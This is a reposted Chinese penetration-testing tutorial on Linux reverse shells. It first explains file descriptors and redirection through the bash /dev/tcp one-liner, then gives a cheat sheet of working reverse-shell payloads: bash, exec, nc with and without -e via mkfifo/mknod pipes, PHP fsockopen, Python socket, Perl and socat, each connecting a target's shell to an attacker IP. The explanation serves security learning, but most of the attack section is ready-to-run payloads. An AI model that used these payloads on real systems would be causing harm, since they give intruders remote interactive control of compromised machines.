ICode9

精准搜索请尝试: 精确搜索
首页 > 系统相关> 文章详细

渗透测试中反Linux下反弹shell的认识

2019-07-25 23:52:41  阅读:335  来源: 互联网

标签:shell 中反 6666 tcp dev 192.168 Linux bash


最近老是觉得自己白天工作累,晚上理应休息 堕落了几天才发觉自己真垃圾,加紧向前吧。

 

0x00 前言

在平时渗透还是工作中经常会遇到shell反弹的情况,网上一搜反弹shell都是一大堆,但是真正遇到反弹shell的时候你真的懂了反弹shell

的payload 的? 这篇会细致总结下常见反弹shell的情况(Linux)和反弹shell的本质。

 

 

0x01 Linux的文件描述符

linux文件描述符:可以理解为linux跟踪打开文件,而分配的一个数字,这个数字有点类似c语言操作文件时候的句柄,通过句柄就可以实现文件的读写操作。

 

当Linux启动的时候会默认打开三个文件描述符,分别是:

 

标准输入standard input 0 (默认设备键盘)
标准输出standard output 1(默认设备显示器)
错误输出:error output 2(默认设备显示器)

 

下面引用先知社区对文件描述符的脑图,非常清晰

 

文件所有输入输出都是由该进程所有打开的文件描述符控制的。(Linux一切皆文件,就连键盘显示器设备都是文件,因此他们的输入输出也是由文件描述符控制)

一条命令执行以前先会按照默认的情况进行绑定(也就是上面所说的 0,1,2),如果我们有时候需要让输出不显示在显示器上,而是输出到文件或者其他设备,那我们就需要重定向。

(1)输入重定向 < <<
(2)输出重定向 > >>

 

还有就是>&这个符号的含义,最好的理解是这样的:

当>&后面接文件时,表示将标准输出和标准错误输出重定向至文件。
当>&后面接文件描述符时,表示将前面的文件描述符重定向至后面的文件描述符

 

 


 

 

0x02 Linux bash反弹shell解析

ps:反弹shell的原因 ,这里提一下

通常是因为网络环境(内网下断机器)、防火墙受限(限制入站规则)、权限维持(目标会更换域名、ip等)等等原因。

bash反弹
bash -i >&/dev/tcp/192.168.5.3/6666 0>&1

一个个解析

bash -i 产生一个交互式bash,bash 是linux 的一个比较常见的shell,其实linux的shell还有很多,比如 sh、zsh、等,他们之间有着细小差别),-i 这个参数表示的是产生交互式的shell

>& /dev/tcp/ip/port 建立TCP连接,并将标准输出和错误重定向到TCP连接,/dev/tcp|udp/ip/port 这个文件是特别特殊的,实际上可以将其看成一个设备(Linux下一切皆文件),其实如果你访问这个文件的位置他是不存在的。

0>&1 从TCP连接获取输入  

 

为了更好理解

这里我们也做个试验 

这里我们把bash的内容标准输出和标准错误输出都重定向到192.168.190.138/6666 

攻击机nc监听:

nc -lvp 6666

目标机bash反弹

bash -i >&/dev/tcp/192.168.5.3/6666 

因为这里目标机把bash的输出重定向到攻击机的6666端口,所以任何在受害者机器上执行的指令都不会直接回显了,而是在攻击者机器上回显。

 

 

 我们再来试验一下

攻击机还是nc监听 这次目标机器执行

bash -i < /dev/tcp/192.168.5.3/6666

这是把/dev/tcp/192.168.5.3/6666的标准输入重定向到目标机的bash

这条指令的意思是将攻击者输入的命令输入给受害者的bash,自然就能执行了

攻击机执行whoami

 

而回显 也就是目标机的输出还是在目标机的本机

 

 

ok这里就很清楚了输出输入的重定向了

 

bash反弹也就是结合上面两条命令:

bash -i > /dev/tcp/192.168.5.3/6666 0>&1

输入0是由/dev/tcp/192.168.5.3/6666 输入的,也就是攻击机的输入,命令执行的结果1,会输出到/dev/tcp/192.168.5.3/6666上,这就形成了一个回路,实现了我们远程交互式shell 的功能

 

 

 这时候我们的输入还是会在目标机 这时候我们多加一条2>&1 标准错误输入重定向到&1标准输入,也就是我们攻击机的6666端口

bash -i > /dev/tcp/192.168.5.3/6666 0>&1 2>&1

 

 

 

 这时候目标机就没有输入的输出了

 

 

 

 

 

 0x03 常见反弹shell形式

bash反弹
bash -i>& /dev/tcp/192.168.146.129/2333 0>&1
bash -i>& /dev/tcp/192.168.146.129/2333 0<&1

这里的唯一区别就是 0>&1 和 0<&1 ,其实就是打开方式的不同,而对于这个文件描述符来讲并没有什么区别

 

exec绑定反弹
exec 5<>/dev/tcp/192.168.146.129/2333;cat <&5|while read line;do $line >&5 2>&1;done

 

0<&196;exec 196<>/dev/tcp/192.168.5.3/6666; sh <&196 >&196 2>&196

 

nc反弹

nc 如果安装了正确的版本(存在-e 选项就能直接反弹shell)

nc -e /bin/sh 192.168.146.129 2333

 

但是如果是没有-e 选项是不是就不能实现了呢?当然不是,我们可以向下面这样

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.146.129 2333 >/tmp/f

 

mkfifo 命令首先创建了一个管道,cat 将管道里面的内容输出传递给/bin/sh,sh会执行管道里的命令并将标准输出和标准错误输出结果通过nc 传到该管道,由此形成了一个回路

类似的命令:

mknod backpipe p; nc 192.168.146.129 2333 0<backpipe | /bin/bash 1>backpipe 2>backpipe

 

 

如果觉得很复杂 nc就算没有-e也可以利用管道符直接反弹

nc -nvlp 6666

nc -nvlp 7777

 

连接

nc 192.168.0.4 6666|/bin/bash|192.168.0.4 7777


php反弹shell

使用php的exec函数执行方法1反弹shell的命令:

php- 'exec("/bin/bash -i >& /dev/tcp/192.168.0.4/7777")'

 

也可以使用php建立socket会话:

 

php -r '$sock=fsockopen("ip",port);exec("/bin/bash -i <&3 >&3 2>&3");'

 

 反向连接

php -r '$sock=fsockopen("192.168.0.4",7777);exec("/bin/bash -i 0>&3 1>&3 2>&3");'

 




python:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.21.1",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

 

perl:
perl -e 'use Socket;$i="192.168.21.1";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

 

socat:
socat exec:'bash -i',pty,stderr,setsid,sigint,sane tcp:192.168.21.1:8080



根据不用场景利用可利用的资源进行反弹

 

 

标签:shell,中反,6666,tcp,dev,192.168,Linux,bash
来源: https://www.cnblogs.com/-qing-/p/11247720.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有